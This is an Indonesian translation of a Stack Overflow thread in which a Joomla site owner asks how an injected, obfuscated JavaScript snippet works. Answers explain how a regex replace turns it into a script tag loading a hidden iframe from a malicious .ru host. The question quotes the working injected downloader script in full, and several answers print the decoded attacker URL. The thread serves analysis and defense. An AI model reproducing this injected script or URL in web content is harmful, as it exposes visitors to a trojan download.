Bagaimana cara kerja script yang menginfeksi situs ini?

99

Joomla saya! situs web telah berulang kali diretas. Seseorang, entah bagaimana, berhasil memasukkan sampah berikut ke dalam skrip kunci php, tetapi maksud saya untuk tidak berbicara tentang konfigurasi Joomla. Situs ini jarang dikunjungi (kadang-kadang saya khawatir saya mungkin satu-satunya pengunjung ke situs itu ...) dan saya tidak terlalu peduli agar situs tersebut kembali aktif dan berjalan. Aku akan menanganinya nanti.

Pertanyaan saya adalah, bagaimana cara kerja sampah ini? Saya melihatnya dan saya tidak mengerti bagaimana hal ini berhasil membahayakan? Apa yang dilakukannya adalah mencoba mengunduh file PDF bernama ChangeLog.pdf, yang terinfeksi trojan dan setelah dibuka akan membekukan Acrobat Anda dan mendatangkan malapetaka pada mesin Anda. Bagaimana cara melakukannya, saya tidak tahu, saya tidak peduli. Tetapi bagaimana skrip berikut meminta unduhan?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET telah mendeteksi kode ini sebagai trojan JS / TrojanDownloader.Agent.NRO

Peter Perháč
sumber
41
Tolong jangan ada yang berkeliaran untuk memeriksa tautan karena penasaran!
DOK
1
Ya, jangan berkeliaran mencoba mencari tahu apa yang terjadi, keajaibannya adalah dalam pengkodean sederhana URL dan selanjutnya decoding / parsing string menggunakan Replace / RegEx yang Anda lihat di akhir baris.
DoctorLouie
13
"Sepotong naskah" dibaca seperti sesuatu yang lain, pada awalnya.
Aditya MP

Jawaban:

181

Perhatikan replacepanggilan setelah berantakan raksasa tali: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Ini menghapus sebagian besar karakter khusus, mengubahnya menjadi URL biasa:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(Saya secara manual berubah http:menjadi evil:)

Perhatikan bahwa regex dapat disederhanakan menjadi .replace(/[#$@^&()!]/ig, '')

Jika Anda melihat skrip, Anda akan melihat bahwa ini adalah skrip yang sangat sederhana yang memasukkan IFRAME tersembunyi yang berisi jalur /index.php?ysdari domain yang sama.

Saya meminta halaman itu di Fiddler, dan tidak ada isinya.

SLaks
sumber
6
Saya rasa script yang menyediakan konten iframe dibuat agar pdf tidak mulai diunduh setiap saat. Mungkin ada peluang 1 dari 10 atau sesuatu seperti itu. Itu tidak mencoba mengunduh pdf setiap kali saya menyegarkan halaman joomla. Bisa jadi 1 dari 100 ... siapa tahu?
Peter Perháč
174
1 untuk menyebutkan bahwa kode dapat ditulis dengan lebih efisien. :)
Pekka
8
@Pekka, saya pikir itu sengaja ditulis seperti itu agar lebih tidak jelas
Tampilan elips
7
@Eliptin Pasti. Jika penulis khawatir tentang efisiensi, dia pasti tidak akan menggunakan pengganti RegEx untuk mendapatkan string statis. Lol.
Dan Bechard
Saya tidak melihat apa yang akan dilakukan pengubah pola case insensitive untuk pola tanpa huruf. Saya akan menggunakan +setelah kelas karakter juga ... jika menggunakan regex.
mickmackusa
34

Jawaban ini dapat membantu Anda memahami sifat dari kode JavaScript yang berbahaya tetapi yang harus Anda cari adalah cara untuk menutup celah yang melekat pada mesin Joomla. Framework yang dikemas sebelumnya rentan terhadap celah, baik disengaja maupun tidak, terutama jika Anda mempertimbangkan bahwa framework tersebut direkayasa untuk bekerja di lingkungan unix, mac, dan windows.

Pekerjaan saya mengharuskan saya menjalankan banyak domain, aplikasi, dan kerangka kerja pada banyak jenis server dan sistem untuk klien dan saya sendiri. Seiring waktu saya telah melihat semakin banyak bot yang merayapi sistem ini mencari celah / pintu masuk yang diketahui melalui pintu masuk belakang yang dibuat oleh kerangka tersebut. Untung ketika saya menggunakan semua jenis kerangka kerja, yang jarang saya lakukan, saya pastikan untuk mengganti nama sebagian besar jika bukan seluruh struktur file untuk membebaskan diri saya dari celah / pintu belakang yang mengganggu itu. Paling tidak Anda dapat mengganti nama direktori yang akan membuang sebagian besar bot, tetapi cara saya adalah dengan sepenuhnya menghilangkan referensi yang memberi petunjuk tentang sifat kerangka kerja, yang mencakup penggantian nama seluruh struktur file bukan hanya direktori. Selalu pertahankan peta konvensi penamaan baru yang relatif terhadap konvensi penamaan lama agar menambahkan plug-in ke kerangka kerja dasar Anda dalam sekejap. Setelah Anda memahami hal ini, Anda dapat mulai mengganti nama seluruh struktur file kerangka kerja secara terprogram untuk hasil yang lebih cepat, ini sangat berguna ketika harus berurusan dengan klien yang perlu memperbarui kerangka kerja mereka dengan plugin dan sejenisnya.

DoctorLouie
sumber
1
Hanya saja, jangan menghapus informasi tentang sumber kerangka kerja, itu akan salah.
DoctorLouie
2
Oooo, terima kasih. Jawaban yang bagus. Tidak benar-benar menjawab pertanyaan tetapi masih +1, karena ini memang bacaan yang sangat menarik dan saran bagus dibuat. Ta
Peter Perháč
20

Itu hanya mengganti regex pada url skrip untuk memberi Anda

CATATAN: JANGAN IKUTI TAUTAN DI BAWAH (disisipkan **untuk menghalangi penyalin)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

sebagai src

Russ Cam
sumber
sesederhana itu, bukan? ya ampun ... aku sudah pwnd oleh SO lagi :)
Peter Perháč
23
Itu adalah URL yang lucu.
Jordan Tayang
@Josh - Terserah Anda, saya belum mencobanya jadi tidak bisa memberi tahu Anda alasannya. Saya curiga mungkin ada skrip berbahaya di halaman tersebut. Anda dapat melakukannya dengan risiko Anda sendiri!
Russ Cam
8

Ia menggunakan fungsi replace untuk mengganti karakter sampah menggunakan regex, tidak ada yang salah dengan kode:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
Sarfraz
sumber
7

Ini memuat skrip dari

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

Dan skrip itu dimuat iframedengan visibilitashidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
KAMU
sumber
2

Ketika Anda membaca semuanya, Anda akan menemukan bahwa itu adalah string yang diikuti dengan perintah ganti.

Raj Lebih
sumber
2

Saya memiliki sript yang sama di halaman saya dalam file index *. *. Saya menulis kode saya sendiri di PHP. Pertanyaan saya bukanlah bagaimana ini bekerja, tapi saya bertanya bagaimana melindungi jika Anda tahu pintu belakang mereka. Saya mengubah formulir dan membaca $ _POST dan $ _GET dengan mengganti <> dan http: // dll.

Kulik
sumber
2

Dua sen saya. Sudahkah Anda / dapatkah Anda menginstal alat cadangan Joomla seperti Joomlapack?

Saya telah mengaturnya untuk dijalankan melalui skrip CHRON untuk menyimpan barang-barangnya jika para perampok berhasil menjambret.

Versi Joomla apa yang Anda jalankan?

Versi 1.0.X tidak diperbarui lagi, dan usianya benar-benar mulai terlihat. Anda berhutang pada diri Anda sendiri untuk melakukan backup dan berencana untuk mengupgrade ke 1.5 dan mengantisipasi keajaiban 1.6

greenkoi
sumber